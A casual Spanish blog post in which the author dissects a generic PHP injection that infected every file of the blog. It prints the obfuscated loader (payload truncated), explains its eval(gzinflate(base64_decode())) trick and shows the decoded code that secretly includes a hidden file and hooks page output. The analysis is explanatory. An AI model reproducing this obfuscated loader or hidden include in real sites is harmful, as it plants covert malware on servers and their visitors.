A menudo se oye hablar de ataques en Internet: de virus, de spam, de denegación de servicio, de suplantación de identidad y de todo tipo de otras maldades, pero las explicaciones suelen ser muy limitadas y es dificil entender como funcionan. Si a eso se le suma la representación que se suele hacer en la mayoría de peliculas y libros, apaga y vamonos. La verdad es que yo tampoco tengo ni idea, pero poco a poco me voy enterando de cosas. Ayer me entretuve analizando un ataque que ha sufrido el servidor en el que está este blog en las últimas semanas. En el fondo, es como resolver un pasatiempos :)
La escena de "hacking" en Skyfall no tiene mucho sentido, pero mola :P
Por supuesto, el ataque no estaba dirigido especificamente a este blog, sino que era completamente genérico. Es decir, el ataque aprovecha una vulnerabilidad e intenta colarse en todos los servidores que puede, incluido este. Aún nadie me odia tanto, creo :D Me di cuenta gracias a que el ataque generaba un error que hacía que la página web no cargara bien. Mirando los ficheros que componen el blog, vi que se había colado un bloque de código extraño al principio de todos y cada uno de los archivos. Para que no se reconozca lo que hace, el agresor lo ha ofuscado de manera que lo único que se ve es una maraña de letras y números:
<?php
$md5 = "73fa9b659f7379af55566498ee62c900";
$a1 = array("e",'_',"a",'c',"b",'i',"d",'g',"f",")","l",'s',"6","4",'z','n','v',
";","r",'(',"$",'o','t');
$b19 = create_function('$'.'v',$a1[0].$a1[16].$a1[2].$a1[10].$a1[19].$a1[7].$a1[14]
.$a1[5].$a1[15].$a1[8].$a1[10].$a1[2].$a1[22].$a1[0].$a1[19].$a1[4].$a1[2]
.$a1[11].$a1[0].$a1[12].$a1[13].$a1[1].$a1[6].$a1[0].$a1[3].$a1[21].$a1[6]
.$a1[0].$a1[19].$a1[20].$a1[16].$a1[9].$a1[9].$a1[9].$a1[17]);
$b19('DZa1rsUItkQ/Z [muchas letras y números] TiqIgCKDUf//z77///t//Aw==');
?>
El código ofuscado es la maraña del final llamada b19. Esa maraña es procesada por lo que hay en create_function, que también está oculto. Esencialmente, en vez de poner lo que hace, lo compone a base de las letras guardadas en a1. Si uno va juntando las letras de a1 en el orden dado en la parte azul, sale eval(gzinflate(base64_decode(b19))). Lo que hace ese código es decodificar la maraña según el estándar base64 y descomprimirlo. Parece que se suele hacer a menudo, ya que hay hasta una página web donde se puede hacer comodamente online. El resultado es el código malicioso en sí:
if(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])) {
$GLOBALS['mfsn']='/home/sap3pas/public_html/adrovsky/...
gallery2/modules/comment/classes/...
GalleryStorage/xml-src/3e5.php';
if(file_exists($GLOBALS['mfsn'])) {
include_once($GLOBALS['mfsn']);
if(function_exists('gml')&&function_exists('dgobh')) {
ob_start('dgobh');
}
}
}
Este código, que se ejecuta cada vez que alguien accede a mi blog, no hace más que iniciar la ejecución del código en el fichero 3e5.php, que estaba perdido en una subcarpeta de la galería de fotos. En concreto, dentro de ese fichero intenta llamar la función dgobh. Los nombres parecen aleatorios, asi que a primera vista no se sabe lo que hace. La pena es que hace unas semanas me di cuenta del fichero 3e5.php y lo borré sin pensarlo dos veces, asi que aquí acaba la pista. No se lo que hacía dgobh, pero puede que diera control al agresor, convertiendo el servidor en lo que se suele llamar un zombi y parte de una botnet.
Una botnet se suele extender por todo Internet
Al haber borrado 3e5.php en principio ya no puede pasar nada, pero no he tenido la paciencia de borrar el primer código ofuscado de todas las páginas del blog, asi que puede que de vez en cuando salte aún algún error. Aunque me gustaría aprovechar este pequeño desastre para actualizar el blog a a Drupal 7, para eso hace falta tiempo, que suele ser escaso. Así que por ahora probablemente siga conviviendo con un blog semi-carcomido por un atauqe fallido :D Es el segundo ataque que sufre 3pas.org del que me haya dado cuenta y en ambos casos ha sido genérico. Es decir, somos parte de la masa aleatoria de víctimas :D